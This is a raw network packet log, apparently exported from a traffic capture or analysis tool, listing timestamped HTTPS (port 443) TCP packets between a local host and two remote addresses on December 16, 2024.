Dec 16, 2024 16:14:36.439718008 CET	49794	443	192.168.2.4	162.125.69.18
Dec 16, 2024 16:14:36.440350056 CET	49794	443	192.168.2.4	162.125.69.18
Dec 16, 2024 16:14:36.745187998 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:36.745244026 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:36.745313883 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:36.745831966 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:36.745851994 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:38.293967009 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:38.294069052 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:38.294111013 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:38.294168949 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:38.300143003 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:38.300159931 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:38.300462961 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:38.301449060 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:38.347340107 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:39.417164087 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:39.417196989 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:39.417212009 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:39.417371988 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:39.417404890 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:39.417468071 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:39.615850925 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:39.615888119 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:39.615938902 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:39.615946054 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:39.615977049 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:39.615993977 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:39.615993977 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:39.661205053 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:39.661240101 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:39.661284924 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:39.661309004 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:39.661320925 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:39.803486109 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:39.803517103 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:39.803566933 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:39.803600073 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:39.803626060 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:39.831484079 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:39.831494093 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:39.831535101 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:39.831552982 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:39.831549883 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:39.831569910 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:39.831599951 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:39.831631899 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:39.831631899 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:39.831662893 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:39.831686020 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:39.855580091 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:39.855592966 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:39.855613947 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:39.855619907 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:39.855643988 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:39.855664015 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:39.855691910 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:39.884191990 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:39.884202003 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:39.884224892 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:39.884233952 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:39.884252071 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:39.884260893 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:39.884290934 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:39.992341995 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:39.995481014 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:39.995498896 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:39.995554924 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:39.995589972 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:39.995623112 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:39.995655060 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:39.995676994 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:39.995702028 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:39.995714903 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:39.995744944 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:39.995770931 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.013307095 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.013319016 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.013339996 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.013348103 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.013365984 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.013396978 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.013411999 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.013475895 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.033402920 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.033413887 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.033468008 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.033471107 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.033493042 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.033526897 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.033548117 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.053239107 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.053262949 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.053311110 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.053330898 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.053354979 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.053394079 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.072021961 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.072046995 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.072098970 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.072104931 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.072132111 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.072151899 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.091916084 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.091943979 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.093842030 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.093858004 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.093923092 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.169008970 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.169040918 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.169084072 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.169096947 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.169152021 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.169171095 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.183600903 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.183628082 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.183670044 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.183733940 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.183739901 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.183806896 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.195648909 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.195667028 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.195729017 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.195744038 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.195794106 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.208617926 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.208636999 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.208703041 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.208719015 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.208770990 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.220947027 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.220963955 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.221016884 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.221030951 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.221059084 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.221112013 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.230305910 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.230324030 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.230385065 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.230401039 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.230456114 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.237349987 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.237366915 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.237420082 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.237503052 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.237551928 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.237551928 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.243761063 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.243781090 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.243855953 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.243872881 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.243907928 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.244012117 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.363293886 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.363322973 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.363379955 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.363399029 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.363449097 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.363636971 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.369967937 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.369986057 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.370080948 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.370104074 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.370157957 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.376405954 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.376422882 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.376496077 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.376512051 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.376564980 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.383083105 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.383099079 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.383168936 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.383184910 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.383215904 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.383238077 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.388688087 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.388705969 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.388781071 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.388796091 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.388853073 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.394745111 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.394762993 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.394838095 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.394874096 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.394901037 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.394954920 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.401321888 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.401350975 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.401395082 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.401424885 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.401456118 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.401539087 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.407737017 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.407763958 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.407813072 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.407838106 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.407856941 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.407885075 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.555896997 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.555919886 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.555993080 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.556027889 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.556062937 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.556086063 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.562350988 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.562369108 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.562463999 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.562484026 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.562540054 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.568118095 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.568135023 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.568212986 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.568234921 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.568264008 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.569942951 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.574389935 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.574409008 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.574492931 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.574515104 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.574568987 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.581042051 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.581060886 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.581125975 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.581135035 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.581168890 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.581182003 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.586942911 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.586958885 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.587024927 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.587033987 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.587079048 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.593009949 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.593028069 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.593101025 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.593111038 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.593157053 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.596757889 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.599309921 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.599333048 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.599394083 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.599401951 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.599431992 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.599452019 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.750524998 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.750549078 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.750614882 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.750641108 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.750678062 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.750705004 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.756977081 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.756993055 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.757057905 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.757076025 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.757133961 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.762622118 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.762636900 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.762717962 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.762734890 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.762793064 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.769373894 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.769390106 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.769459963 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.769474983 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.769535065 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.775561094 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.775578022 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.775624037 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.775640011 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.775656939 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.775851965 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.781574011 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.781589985 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.781651974 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.781662941 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.781718016 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.788007021 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.788022041 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.788079023 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.788088083 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.788113117 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.788145065 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.794265985 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.794282913 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.794346094 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.794354916 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.794384003 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.794409037 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.940215111 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.940241098 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.940299988 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.940356016 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.940399885 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.940399885 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.945832968 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.945848942 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.945915937 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.945934057 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.945966959 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.946079969 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.952310085 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.952327013 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.952373028 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.952382088 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.952415943 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.952426910 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.958836079 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.958851099 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.958929062 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.958951950 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.959005117 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.964658022 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.964673996 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.964744091 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.964760065 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.964809895 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.971402884 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.971419096 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.971473932 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.971488953 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.971541882 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.971599102 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:40.977294922 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.977312088 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:40.977371931 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:41.033327103 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:41.033360004 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:41.033442020 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:41.132186890 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:41.132215023 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:41.133667946 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:41.133702040 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:41.138629913 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:41.138658047 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:41.138695002 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:41.138731003 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:41.138748884 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:41.144493103 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:41.144511938 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:41.144579887 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:41.144612074 CET	443	49798	162.125.69.15	192.168.2.4
